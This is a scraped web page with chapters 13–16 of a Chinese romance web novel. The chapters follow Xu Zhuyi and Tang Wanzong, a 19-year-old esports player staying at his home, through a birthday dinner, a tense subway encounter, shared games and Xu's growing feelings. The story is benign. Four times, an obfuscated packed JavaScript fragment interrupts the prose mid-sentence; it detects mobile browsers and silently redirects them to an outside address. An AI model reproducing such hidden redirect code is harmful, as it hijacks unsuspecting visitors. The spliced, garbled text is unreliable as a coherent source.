脱衣,走进淋浴间,打开水龙头,热水淋下来。刚刚站在门外的汤挽宗又闪过许逐意眼前。 打游戏都能抽空收拾客厅,饿了还知道来要饭。会察言观色、还很乖巧,言听计从。 ……小弟弟。 他应该就是把汤挽宗当成需要被照顾的弟弟了而已,许逐意抬手拂去脸上源源不断滚下的水流,并如此分析、定义。 汤挽宗就是一个,很可爱的,小弟弟。 明明有家却愿意不回去,拿完电脑马上又到他这儿。汤挽宗大概平时过得也辛苦吧,所以遇到较为年长、还向他表达善意的许逐意,叫他哥哥,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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许逐意想通后,认为自己已经可以免疫男孩这张长得过分可爱的脸,因此没有选择避开视线,点点头轻描淡写道:“这没什么。” 他下意识忽略自己稍稍有点发热的耳廓,一本正经为汤挽宗挤番茄酱,然后递过勺子:“尝尝。” 连吃几天的“面目全非拌饭”,眼前卖相极好的蛋包饭似乎证明许逐意确实是个会做饭的男人。 汤挽宗接过勺子,为自己对许逐意的误解在心中默默道歉,然后挖一大口,塞进嘴中。 “怎么样?”许逐意马上问。 虽然表情没什么波澜,但感觉应该很期待回答。 汤挽宗缓慢地嚼了两下,用力点点头:“嗯,好吃。” 又挖一大口塞进嘴,吃得狼吞虎咽,还崇拜地用那双大眼睛看着许逐意问:“我可以吃两份吗?” 许逐意顿了一下,“可以。” 没想到把孩子饿得这么过头,他略愧疚地将另一盘也往汤挽宗面前推了推,说:“你吃。不够我还可以做。” 汤挽宗嘴里塞满饭,有点含糊地说:“应该够了。” 说完埋头,很认真也很大口地继续吃,一勺勺往嘴里塞很快,两边腮帮子圆滚滚地鼓起。 感受到许逐意站在旁边投下来的视线,还抬起头来对他一笑。 可爱的弟弟,乖乖的弟弟。 许逐意想,他应该只是把汤挽宗当成了一个需要保护和照顾的小弟弟。 那稍微亲昵一点、亲近一点,也不奇怪吧?顶多,算回应汤挽宗的撒娇罢。 这么想着,他不知不觉抬起手,在空中停滞片刻,情不自禁伸到男孩头顶。 “……慢点吃。”许逐意听见自己说。 男孩柔软的发丝贴在掌心,痒的。痒意叫他耳朵都烧起来。 许逐意不以为意,动作没停,在汤挽宗头顶抚摸了一下,轻轻地,小声道:“弟弟。” 13.心猿意马 同一时刻,Woof战队基地内。 休赛期放假的基地比平时要安静,没有强制性的训练安排,队员们可以自主规划时间,让身心都得到充分的休息。 杨绵端着掌机在打动作类游戏,听完卓宣所述下午和汤挽宗见面的情况,头也不抬:“所以他现在住在天景苑?” “对。”卓宣同样头也不抬在撸猫。 掌机里操纵的角色奋力抵抗后还是死了,杨绵重新读档,沉默几秒,突然笑笑:“没想到居然真让他得逞了。” “啊?”突如其来谜语般的一句话让卓宣摸不着头脑,皱眉朝旁边缩在椅子里的人看去,“什么意思?” “那个哥哥,”杨绵目不转睛盯着掌机屏幕,淡淡,“汤挽宗不是第一次去找他了。” “什么——”卓宣不懂,但音调下意识高起来,下一秒椅子就被杨绵踢了一脚,让他剩下的话没能说完,变成一句愤怒的:“杨绵你大爷!” “夏季赛又输给TWG那天他好像也去人家家楼下坐过,发了条朋友圈但是秒删,被我碰巧刷到。”杨绵习惯性无视他的愤怒,继续一脸平静地直言,这时突然抬眸看了卓宣一眼,“他喜欢那个哥哥吗?” 卓宣眼皮一跳,别过脸凶道:“……鬼知道他!” 不过杨绵也不是很在乎他的答案,收回视线,自言自语:“喜欢吧。” “……”卓宣这才重新看向他,阴阳怪气,“你真懂他。” 终于操纵着角色杀死了怪物,杨绵伸了个懒腰:“我只是有次碰到他在训练室睡觉,听他说梦话念那个哥哥的名字才这样讲。而且后来问他,他还脸红了。” “……什么,那狗东西会脸红??”卓宣眼前闪过汤挽宗平时在基地嬉皮笑脸的欠揍模样,一副“你大爷的开什么玩笑”表情。 那个撒谎不打草稿、把姚经理气得七窍生烟还吊儿郎当、自傲自负还乖僻毒舌、一个人能欺负队里四个人的家伙,会脸红? 杨绵这次没纠正他粗鄙的称呼,两个人默契地陷入沉默几秒。 然后卓宣才听杨绵说:“是吧,我也觉得很诡异。” 头顶传来的触感非常短暂,几乎一瞬就离开了。 汤挽宗咀嚼的动作却一滞,差点没噎住,猛地咳嗽起来。 “怎么了?”许逐意被吓到,赶紧弯腰看他。 但汤挽宗马上别过脸躲避,说:“没、没事。” 许逐意的目光便只能落在少年通红的耳尖上。 “看起来呛得很严重,真的没事吗?”他下意识以为是咳嗽憋的,给人倒了杯水递过去,还说,“你咳得脸都红了。” “……真的没事。”汤挽宗拿过水一饮而尽,放下水杯时大概也调整好了心情,瞥一眼许逐意,又挪开目光,很自然地转移话题,“那个,哥哥也吃点东西吧,然后早点休息。” “啊,嗯,”在吃这件事上不仅随便还忘性很大的许逐意回过神,从冰箱里拿出根黄瓜啃,“我吃这个。” “……吃得饱吗?” “吃得饱。” 汤挽宗不说话了,闷头继续扒饭,两盘蛋包饭很快都吃得差不多。 料理其实很咸很咸,但刚刚那杯水又稍微让他好受一点,以及想起方才头顶一闪而过的触感,他耳尖还是烫,降不下温。 光盘后起身收拾餐桌,汤挽宗不敢再看旁边站着的那个人,准备去洗盘子。 然而许逐意却跟上来。 汤挽宗打开水龙头,好像依然不记得袖子要卷好,再次随便撸了下就开洗。 而如他所料的,许逐意这次也靠了过来。 男人嘴里还叼着半根黄瓜,垂眸保持着礼貌又不算很远的距离。因为刚洗过澡,汤挽宗能闻到许逐意身上很明显的沐浴露香气。 他把头压低,抿住嘴唇。 “我可以问你一个问题吗?”许逐意完全没有觉察汤挽宗的小动作,帮他撩完衣袖就跟上次一样,靠在了旁边的台沿上,继续啃黄瓜。 想起这人下午没打两把游戏就下机,还全程状态游离不在线。汤挽宗以为是自己做得太过而适得其反了,所以后来许逐意让他自己呆着就乖乖自己呆着。 然而男人回房间的那几个小时不知道发生了什么,不知道想了什么。为什么突然摸他的脑袋,为什么突然叫他弟弟?还……在这里和他聊起天。 不过能和许逐意多聊几句,汤挽宗很开心。 “……你问。”他分辨过钢丝球和洗碗棉,才拿起来,开始挤洗洁精。 但旁边的人沉默了会儿,又垂头道:“算了。” 汤挽宗朝他看过去:“为什么?” “感觉问了会让你想起不开心的事情。”许逐意把最后一口黄瓜吃掉,将蒂扔进垃圾桶。 “……没关系,”汤挽宗重新垂下眸,“哥哥问吧。” 厨房灯打在两人身上,将他们的影子照得倾斜而靠很近。许逐意想了想,脚无意识地在两人影子上踩来踩去,依言开口:“你妈妈出差……到什么时候?” 根据汤挽宗所说过的信息,那天狼狈倒在他家楼下是因为家事,回去取电脑要“趁我爸不在”,妈妈又出差。而发到少年手机上的短信内容是那么触目惊心,即便不说,不问,许逐意也能大概脑补出一个不幸的家庭故事来。 何况他开始想更多地了解一点汤挽宗,所以即便说了“不多过问”,还是没忍住。 没想到是这样的问题,汤挽宗洗好盘子,关了水龙头,目光略过许逐意踩他影子的那只拖鞋,顿了顿。 “……应该快回来了。”他这么说。 许逐意瞥一眼他表情,大概猜到汤挽宗在想什么,遂补充:“我没有赶你走的意思。” 少年抿着唇,一言不发看向他。 被这双眼睛看着好像总会让人感到没辙。许逐意发现了,有点后悔问汤挽宗这个问题,又补充一句“真的”,不想让男孩伤心。 汤挽宗这才低低地“嗯”了一声。 看他垂头丧气,许逐意心没由来地跟着塌下去一块。于是伸手,在男孩眼前晃晃,示意他看自己,然后轻声又叫了一次:“弟弟。” 汤挽宗依旧“嗯”地回应。 为让听者能感受到真诚,许逐意微微倾过身,凑到汤挽宗面前。 两人突然只隔了半支小臂的距离,他认真说:“我不会领养小狗的。” 男人细长的眼睛因浓密的睫毛而显得毛茸茸。 那股沐浴露的香味又近了,好像把汤挽宗整个都环绕。 “所以如果你有需要,还想过来,直接过来就好,”许逐意道,“我给你开门。” 养宠物会让这个家变拥挤,不亚于多一个人。 他本来也不喜欢小狗。 所以许逐意思来想去,最终还是不觉得需要一个宠物陪伴自己。 因为他有了一个想照顾的弟弟。 而汤挽宗闻言,看着他的眼底忽然闪烁了一下,沉默几秒,抿唇,点头乖乖地应道:“好。” 因为手机日程提醒第二天有工作,从厨房离开后许逐意没打游戏,他对汤挽宗说“早点睡,记得关书房的灯”,然后直接回卧室休息。 第二日的工作是拍摄加视频剪辑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916032|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>许逐意的社媒账号已经有段日子没更新过了,经纪人还发消息提醒他,让他注意养号固粉,潜台词是别摆烂少摸鱼。 这对低能量人而言简直是场浩劫。 为了保持拍摄状态,许逐意这次特意早睡早起去了趟健身房,拍摄结束后又跑去网吧剪完了视频,才给汤挽宗发消息说下班了,但是依然没有马上回家。 不回家的原因是他还要去一趟商场,取昨晚定的自提的蛋糕。 因为看过汤挽宗的朋友圈,许逐意记得汤挽宗生日就在今天。 来不及买礼物了,只能先定个蛋糕。 自从昨天把电脑拿到他家开始,许逐意就感受到汤挽宗对英雄联盟这个游戏的专注和可怕。 昨晚好像打到凌晨才去睡觉,今天也是睡醒后就开始一直打,好在发消息会秒回。 许逐意在商场里,打算顺便打包点炸鸡之类的带回去当晚餐,发消息问汤挽宗想不想喝奶茶。 【都可以,听哥哥的】 汤挽宗这样回。 许逐意就按自己的心情购买了。 今天是个阴天,已经十一月底了,大约又要降温。 但出于工作的缘故,许逐意依然求好看放弃了温度,穿得不多,又加上怕冷,从商场走到地铁口那段路冻得他牙齿都打颤。 拎着一堆东西,身上还裹着寒气,许逐意手机都不想玩,夹着胳膊满门心思都是快点回家。全程头也不抬地刷码进站上车,然后找个角落站着。 “许逐意?”耳边却传来个有些耳熟的男人的声音。 许逐意一愣,循声而望,看见祝扬的脸。 “真的是你。”祝扬似乎也有点意外,意外后马上又说,“你看见我给你发微信了吗?” 没想到能这么巧地再见这个自己曾经扬言要追的人,许逐意有些无措也有些尴尬,想跑想躲,但晚高峰的车厢里人很多,竟然一时找不到可供移动、保持出二人间距离的空间。 他只好干巴巴说:“……看见了。” 祝扬露出“果然”的表情,又皱起眉,有点受伤道:“那为什么不回我?” 他开始自顾自地讲:“我这几天排位一直连败掉分,被猪队友气死。你怎么样?什么时候有空可以一起打游戏?带带我吧,一把也好。” “……”许逐意有点佩服他自说自话的能力,也佩服他轻易相信自己谎话的天真,边低头拿手机问汤挽宗“在干什么”“我下班回来了”,边冷淡道,“不了吧。” 祝扬可怜地说:“别啊。” 继而又看见许逐意手上拎的蛋糕,问他:“今天你生日吗?生日快乐。 “晚上一起双排怎么样?” 汤挽宗那边没有回复,估计是还在游戏中。许逐意打开每个桌面软件又关上,祈祷祝扬能识相闭嘴别念了,他想聊天的欲望为0。 然而祝扬显然不明白。 不巧的是今天两人还是同一站下车,祝扬看起来真的连跪到魔怔了,竟一直跟在许逐意身后念“一起双排吧”,甩都甩不掉。 连许逐意什么时候停下都没发现,直直往人背上撞去。 但没撞到。 额头被一个微凉的手背挡住,对方甚至暗暗使劲,将他往后一推。 “啊。”祝扬趔趄了下,差点跌倒,不悦地皱眉,“谁啊?” 抬头就见许逐意面前站着一个高个少年。 鸭舌帽口罩遮得严实,看不见脸,只有一双带着礼貌笑意的眼睛露在外面。 声音却低沉,甚至带着丝不易觉察的警告意味:“走路不看路吗?你差点撞到他了。” 14.独占欲 许逐意没想到汤挽宗会出现在这里。 他有些惊喜地迎上去,还没开口打招呼,眼前就倏地一暗。 鼻间嗅到汤挽宗身上的味道,余光被少年伸出的胳膊填满,然后身后的祝扬发出一声“啊”。 身子几乎被汤挽宗半环进怀中,许逐意拎着满手的东西不由自主地僵了一下。 他下意识忽略自己的不自然,看了眼在揉脑袋的祝扬,又看向汤挽宗,刚要开口,就听汤挽宗低声问自己:“没事吧哥哥?” “……没事。”许逐意说。 “我怕你冷,”不用他问,汤挽宗自动地乖乖解释,同时收了半环住他的姿势,转而将一直抱着的外套打开披到他肩膀,“上次你说没有不开心,所以这次我就又出来来地铁站等了。” 披好衣服后非常顺手地就接过了许逐意拎着的大包小包,也没仔细看都是什么,笼统地全拎到自己手里,然后再次看向许逐意身后的男人。 “嗯。”许逐意应过汤挽宗的话,出于礼貌,跟祝扬简单道别,“再见。” 但祝扬没有回答他,而是瞪着他身旁的汤挽宗,不太客气道:“你推我干什么?” “嗯?”没想到自己会被搭话,汤挽宗顿了一下。 他歪了歪头,这才注意到许逐意旁边还站着个人似的,无辜道:“你刚刚差点撞到我哥哥,我挡了一下。是不小心碰到叔叔了吗?不好意思。” ……叔、叔叔?? 眼前男孩看着怎么都至少高中了,比许逐意只年长一岁的祝扬长这么大还没被如此称呼过,一时间绷不住表情,用“你脑子没问题吧”的表情看汤挽宗。 “你、明明就是你推的啊!”他气得一下子脸红起来,保持不住平时的镇定,舌头都打结,然后看向许逐意,“他是谁?” 许逐意并没有看见自己背后发生了什么,只知道刚刚汤挽宗替他挡了一下祝扬的“碰瓷”,且汤挽宗也态度很好地道歉了。 于是面对突然情绪波动如此大的祝扬,他甚至没注意到自己情绪的波动,忍不住皱了眉:“我弟弟。” 他说着,往前站了一点,把汤挽宗护到身后,语气降温:“你有话麻烦好好说。” “……哦。”祝扬慢了半个世纪的脑回路这才有点反应过来,开始处理刚刚瞥到的男孩给许逐意套外套、还接过许逐意手里东西的动作信息,以及发现男孩身上穿的似乎都是许逐意的衣服。 他气焰一下子又瘪下去,闷闷不乐地嘟囔:“……你弟弟啊,怎么不早说。” “叔叔叫什么名字?”汤挽宗单纯坦荡的声音这时候插进来。 “叫哥哥!”祝扬没忍住反驳,“祝扬哥哥!” 许逐意插嘴:“祝扬。” 汤挽宗没回复这句话,只是眯了眯眼睛,依旧看着他。 果然是祝扬。 汤挽宗想,他没猜错。 很讨厌的一个人。 刚刚是不是还缠着许逐意,说要一起双排? 见汤挽宗一直不说话,祝扬以为小孩子被他凶怂了,冷哼一声。 又看出来许逐意表情冷得吓人,他稍稍收敛一点语气,不再为难熊孩子,转而向许逐意说:“一会儿到家了,你有空给我发个消息吧。先把联盟好友加上,再找时间一起玩,可以吗?” 许逐意也是没想到,这人到现在居然还在惦记游戏双排。 余光里身后的汤挽宗身影这时又动了动,好像要上前。许逐意生怕这俩人又要对话上,祝扬对汤挽宗的态度并不好,他不想让汤挽宗被凶,于是随口凉凉地敷衍祝扬:“到家再说吧。别再跟着了。” 然后连道别都懒得,头也不回拉起旁边汤挽宗的胳膊说:“我们走。” 汤挽宗长手长脚,身材高大且比许逐意结实,但许逐意用不了多少力气就能把他拉着走。 还始终保持着后他一步的距离。 “别理祝扬,”见汤挽宗一直不说话,许逐意开口,安慰道,“我感觉他可能有点毛病。” 后半句话说得特别认真,像是什么已经经过实践检验的真理。 耳边沉默几秒,这才传来一句“嗯”。 许逐意又说:“我相信你没有推他。” 说罢看一眼汤挽宗的脸,放慢步调试图跟人并肩。 但汤挽宗垂着脑袋刘海遮了大半的表情,他只能通过少年抿紧的嘴角判断对方思绪似乎并不在线。 许逐意猜测汤挽宗是被祝扬凶得有些不高兴。他不大擅长处理和应付情绪,自己的是他人的也是,但又不想看汤挽宗不开心。 于是环顾四周,目光搜寻到一个路边卖棉花糖的小摊,他问:“吃棉花糖吗?” 汤挽宗摇摇头。 许逐意又伸手:“东西给我拿吧。” 手被汤挽宗躲开。 微信提示音这时响了一声,许逐意拿出手机瞄一眼。 祝扬竟然已经主动把账号信息发了过来,一副势必要跟他打上这游戏的气势。 许逐意不自觉地蹙起眉,不知道该怎么回。他下意识想转发给郑子蓓,旁边就突然凑过来一个脑袋。 余光瞬间被汤挽宗近在咫尺的五官填满。 距离近到许逐意连汤挽宗有几根下睫毛都能数得清,甚至耳朵因为感受到靠近的体温而瞬间滚烫,少年把口罩往下拉了,露出嘴巴,话音因为距离的关系显得过分清晰。 “哥哥要和他双排吗?”语气轻轻的,听上去只是不经意地询问。 许逐意不由得僵住,脚步也停了,站在原地。 身后汤挽宗的步子就也跟着停下。 “……没有,”他用陈述的语气说,端着的手机不息屏,和祝扬的聊天窗口一直显示着,“只是他邀请我好多次。” 边说边不动声色地试图拉开一点距离,往后退一点点,扭头想看清汤挽宗的脸。 “那要跟他双排吗?”汤挽宗没在看他,垂着眼帘,目光落在他手机屏幕上,“要加他好友吗?” 说到这顿了一下,低下声补充一句:“后悔了要删他我不帮你打Solo。” 哦,许逐意记得这个知识点,他说:“我不加。” 然后总算是看清汤挽宗的脸了,他顿一顿,问:“你很冷吗?鼻子都被风吹红了。” 目光往上,又道:“眼睛怎么也有点红红的?” 果然是太冷了吧,许逐意对此深有感悟。因为怕冷,加上皮肤白,深秋时节,特别是冬天,他就有这种总被冻得鼻尖红,眼睛也时常被冷风吹得酸涩到发红的经历。 再看汤挽宗的衣服,穿得其实不多,每次出门都是之前他给拿的那套卫衣,顶多套件外套。 许逐意抬手拎了一下汤挽宗外套的衣领,又压压人帽檐,把汤挽宗的口罩重新拉回鼻梁上面,然后拍一下少年怀里抱着的东西,尝试转移注意力:“走吧,吃的要凉了。你今天生日对不对?我买了个四寸的蛋糕。” 汤挽宗回神,似是有些恍惚,这才把目光挪到自己一直拎着的东西上面。 确实是有一个蛋糕,用设计可爱的包装袋装着的。 “但是没来得及买礼物,”许逐意又说,“回头补给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着,直接单手打出一串:我有固定的双排搭子,还是不一起玩了,抱歉。 打完还递到汤挽宗面前,让他看着自己按下发送键。 “心情好点了吗?”许逐意凑过去,仰起脸跟和低着头的少年对视。 汤挽宗下巴埋在外套领子里,看着他目不转睛,声音被口罩隔绝,闷闷地:“嗯。” 他眼睛还是有点红红的,又很潮湿,晚霞落进去一片波光粼粼,颊侧随着低头而挤出一点圆圆的肉,柔和了面部锋利的线条。 许逐意没忍住伸手去捏。 “寿星,开心点。”他淡淡说罢,感受到指尖完全陷入那片柔软的触感。 也看见少年的耳朵光速涨成深红。 秋风好像醉了,在夕阳下吹得乱无章法,歪歪斜斜。许逐意霎时感觉自己的心好像挂到了被风摇晃的枝桠上随之摆动,从人脸上离开的手垂到身侧后,竟无法克制地颤栗发麻。 面前汤挽宗似乎想再次把口罩拉下来,但手碰到边沿停顿一下,大概是想到许逐意才将其拉上,又默默放弃,只是捏他腕部的手指力道稍稍地收紧了点。 隔着衣料,许逐意感受到汤挽宗掌心的体温。 明明眼前这个人不过是借宿认的弟弟。不过是弟弟而已。 可是,为什么,此刻他却要想办法,抚平自己被那双眼睛不断扰乱的心跳呢? 15.生日快乐 许逐意飞快地收回手,低下了头。 他试图忽略自己毫无征兆又变得奇怪的心情,扶了扶额,也不敢再看汤挽宗,像是为了提醒自己一样地说:“走吧弟弟,回家。” “哦,好。”余光里汤挽宗乖乖地应,似乎并没有被他突然的动作吓到,目光坦坦荡荡,一直落在他脸上。 许逐意捏了捏身侧的拳头,扭头迈步。 重新对英雄联盟找回兴趣的汤挽宗在许逐意上班时就一直呆在书房,靠不停地rank打发时间。因为走的时候比较着急,电脑都没来得及关,到家时还能看见屏幕上显示着英雄联盟排位的界面。 汤挽宗注意到了,想起自己韩服号还没退,把许逐意搀到沙发上就脚底抹油进了书房,将游戏关闭后才重新出来。 许逐意“身残志坚”,已经把买来的吃的都在茶几上摆好,蛋糕放在最中间,插了蜡烛。 “过来,许愿。”他头也不回地对还站在沙发后面的人说。 余光看着少年绕过沙发朝自己走近,然后挨着肩膀坐下。 但汤挽宗没有马上许愿,而是关心地低声问:“哥哥怎么了?” 那张长得可爱的脸此刻没了口罩遮掩,很近地凑到自己旁边。 潜意识告诉许逐意如果避开会让氛围变得更奇怪尴尬,所以他僵着身子没动,只是挪了一下蛋糕,说:“我没事。” 然后给自己的反应找借口:“可能饿了,有点低血糖。” 汤挽宗“啊”了一声。 接着马上说:“那快吃吧,不要许愿了。”伸手就要切蛋糕。 “不行。”许逐意赶紧把他手摁下,指腹接触到少年皮肤后又触电似的立刻收回。 他顿了顿,没有起伏的声音不自觉带上一点点强势,道:“许愿吧。” 像催汤挽宗一样,说完干脆不大熟练地小声唱起生日歌。 余光里汤挽宗犹豫了半秒,还是很乖地顺从了命令。 烛光照着少年那张棱角分明的侧脸。 对于生日这种事的仪式感,许逐意其实并不熟悉,甚至可以说几乎没什么兴趣。 但唱着生日歌,倒是让他心情慢慢平静下来一点。 自己上一次吹生日蜡烛已经是很小的时候了。后来父母感情不好,他生日当天通常只有母亲一人作伴,两人还总会因为父亲的缺席而发生争吵,于是许逐意就变得不太爱过生日。 什么请同学出去吃饭、家人围坐一桌唱歌、去游乐园,都没有过。 父母离婚后,母亲独自给他过的那几次生日倒是还像点样子。虽然没有惊喜礼物,但是会有红包,饭菜也会烧得稍微丰盛一些,买个蛋糕,然后女人在餐桌边坐下,笑着给他唱生日歌。 不是很夸张、很有阵仗、多热闹的生日。 但许逐意觉得足够了。 母亲歌声小小的也足够了,桌上的菜只够两个人吃也足够了,总是忘记点蜡烛许愿没关系,蛋糕四寸也足够了,可以吃两天,买大了会浪费。 后来母亲去世,许逐意就不过生日了。郑子蓓总会坚持要请他吃饭,但许逐意懒得再让朋友给自己订蛋糕、点蜡烛,在外面餐馆里搞这些好尴尬,会被注目,他不喜欢。 所以关于生日的仪式感就这么逐渐被忘却了。 就是不知道这些对汤挽宗来说够不够。 应该算得上丰富的餐食,还有蛋糕,就是来不及准备礼物。 ……刚刚说话的态度好像也不太好。 察觉到自己思绪又开始往面前这人身上飘,许逐意回过神,赶紧掐断,随之停止的还有歌声。 许愿的男孩正好这时候睁开了眼。 客厅没开灯,原本是有夕阳,但短短一会儿竟被夜色渗透,周围暗下来。 汤挽宗把蜡烛吹了,火光摇曳、熄灭,许逐意就看不清了那张脸。 他垂下眸,慢慢起身,调整自己的语气,轻声道:“我去开灯。” 刚要迈步,手却忽然被人一拉。 拉的人大约也没想到会直接拉到手,忽地把手又抽回去放好了,然后才叫他:“哥哥。” 许逐意一顿,微微回过头:“……怎么了?” 城市华光裹着夜色,透过落地窗玻璃照在他平静的脸上。许逐意的眼头是微微往下收的,眼尾是往上翘的,鼻梁高而薄,唇线平直,面部线条平整流畅。 这样居高临下地垂眸看,不带任何情绪,汤挽宗却觉得被凉的泉水迎面浇了个透,顺下巴流下的水滴在心中溅开涟漪。 “我很,开心。”他看着许逐意的眼睛,捏紧拳头,认真地说。 许逐意小幅度动了动唇,“嗯”一声:“开心就好。” “哥哥也开心一点。”汤挽宗看一眼他的手,又重新抬头看他,“这是我许的愿望。” 说着也慢慢捏住了自己的手。 “……”许逐意有一瞬失语。 感觉心跳速度又要变得不常规,他压制住,试图用平常的语气提醒汤挽宗:“愿望说出来会不灵的。” “但能实现我愿望的人不是神明,”汤挽宗说,“是哥哥。” 这话几乎是接着许逐意刚落的话音就脱口了,快得让许逐意觉得汤挽宗是不是都没有思考过。 很理所当然,单纯又直白地,让他再次失语。 是啊,许这种“希望某人开心一点”的简单愿望,想要实现的话只需“某人”做到就可以了。 可为什么汤挽宗许的愿望会关于他呢。 许逐意思绪乱了,有点词穷,也总觉得因为自己的缘故,气氛越来越诡异。 他不知道该怎样才能滴水不漏地把话权还回去,也不想让汤挽宗发现自己的不对劲,短暂的沉默后干脆自暴自弃,伸出手在少年脑袋上揉了一下。 “知道了。”略微僵硬地丢下这句话,许逐意不再给汤挽宗开口的机会,绕过沙发“啪”地把客厅灯拍开。 周围瞬间亮堂起来。 汤挽宗脑袋被他揉得乱糟糟,头发左右翘起,大概因为被吓到所以窝在沙发上没动,只是视线跟随他行动的轨迹在转,脸颊红扑扑的。 重新落座,分发餐具,许逐意绷着脸说:“快吃吧,早都凉掉了。”然后一筷子夹起一个炸鸡腿。 汤挽宗就听话地说“哦”,照葫芦画瓢地跟着吃。 吃的还是买多了。 不仅蛋糕没吃完,其他的东西也都剩了大半。许逐意明白自己当时估计也是有点贪心不足,莫名其妙就买了这又买那的,现在好了,该扔的扔,该存的存,明天午餐不用亲自动手,直接有了着落。 收拾完残局,汤挽宗问许逐意:“要一起打会儿游戏吗?” 说起来,快一天多没碰英雄联盟了。 许逐意脑子里想拒绝,觉得自己今天应该不要再跟汤挽宗两个人呆太久比较好,但头还是不听指挥地点下去。 他硬邦邦地说:“就两把。”走进书房里。 两人在电脑桌前排排坐,登录游戏账号。 许逐意边输入账密边暗暗深呼吸。 他知道自己今天有点奇怪过头。明明前一天才安慰自己,会对汤挽宗动容心软只不过是因为把人当自己弟弟。 但是为什么这个借口,现在却突然变得无法说服自己? 不是这样的,这不对吧。 汤挽宗真的只不过是弟弟而已。 捏脸什么的……也只是因为觉得他可爱罢了。 因为可爱才忍不住的。 旁边少年已经将账号登好,开好房间,扭过头来安安静静看着他等他。 许逐意努力忽视那束目光,也努力忽视自己乱七八糟的思绪,试图将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947847|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意力集中到游戏上去。 “……开始吧。”他说。 好在游戏一开始,注意力确实就很容易被转移,脑子也不那么乱了,一心只想杀到人然后赢下来。 对线、操作,许逐意很认真地试图把自己学到的、进步的都用上。 他能感觉到偶尔旁边会扫过一束目光,应该是汤挽宗在观察他的表情。每到这时候,要不了多久打野就会来到他的线上,帮他缓解压力,或者辅助他拿到人头。 汤挽宗打游戏是很安静的类型,跟大多数同龄的男生不同,他从不大喊大叫,除开要给出指挥和指导的时候,几乎不说话,同时手上操作一点不含糊。 帮助许逐意牵制敌方中单,假装露破绽骗出其控制技能,反手消耗,再把人头喂到许逐意面前。 然后才淡淡开口:“杀他。” 许逐意下意识一个Q丢过去。 「You have slained an enemy!」 系统播报语音激动地响起,许逐意也面无表情地激动了一下,下意识朝汤挽宗看过去一眼。 就看见汤挽宗也正看着自己,眼底带上了点淡淡的笑意,直言不讳地夸赞:“好Q,哥哥。” “……哦。”许逐意脑子里弦一绷,不由自主开口,“好、好助攻,弟弟。” 他迅速挪开目光,也若无其事地转移话题:“现在买什么装备?” ……总之,今晚真的打两把就休息。 但即便只打两把,这游戏打得也似乎比平时要漫长。 第二把一结束许逐意就光速下机。 “不来了吗?”汤挽宗还天真无邪地问他。 许逐意不假思索地摇摇头。 真的该回房间了。 “好吧。”旁边的笔记本电脑也开始关机。 “……你不再打两把吗?”许逐意看他一眼。 汤挽宗也摇摇头,说:“白天打很久了,今天想早点休息。” “哦。”许逐意颔首,完了目不斜视地准备往外走,打算径直回房间休息,“那休息吧。” 但还没走出两步,衣摆突然被人轻轻地拉了一下。 拉得很轻,且抽走得也很快,许逐意都没反应过来,只是下意识回了头,微微怔愣地看那个拉自己的人。 汤挽宗好像有点舍不得这个夜晚就这么结束,被许逐意回看了也没有马上说话。而是沉默几秒钟,眼睛往下垂过又重新抬起,酝酿勇气似的,才说:“晚安,哥哥。” “……”许逐意感觉到自己努力克制一晚上的心跳此时又开始加速。 汤挽宗跟平时没什么区别,一副想到什么就说什么的单纯的样子,奇怪的人只有他自己。 许逐意很清楚。 只是一句“晚安”而已,普普通通一句“晚安”而已。可是他怎么感觉有点口干。 保持着死水般平静的表情,许逐意再次“哦”了一声。 然后也说:“……晚安。” 说完打算走了,走一步又停住,想到什么地补充:“祝你十九岁快乐。” 话音落下,许逐意头也不回、同手同脚、脚底生风地离开书房。 推开门。 浴室氤氲的雾气逐渐散去,郑子蓓趿拉着脱鞋走出来,一屁股坐到床沿,拿起床头柜上充电的手机查看未读信息。 解锁锁屏,打开微信,等待加载,然后是无数个红点。 他姿态闲散地一目十行,又突然顿住,猛地从床上蹦起。 十分钟前,许逐意给他发消息。 不是聊今天吃了什么饭干了什么事,不是吐槽工作无聊同事有病,也不是有关祝扬或其他地球人很难想出的莫名其妙的话题。 而是一句—— 【你谈恋爱之前是怎么确定自己喜欢对方的?】 16.小题大做 发完消息,许逐意就抱着手机发呆。 然而呆了好久,郑子蓓迟迟不回复。 时间的流逝让他开始有点后悔脑子一热问这个问题。 毕竟郑子蓓是个连路过的小野猫可爱都会感觉到心动的人,问他这个问题似乎没有什么意义,很难得到靠谱的回答,许逐意开始想撤回。 拇指按在那条消息上,但已经超过三分钟,撤回功能不见了。 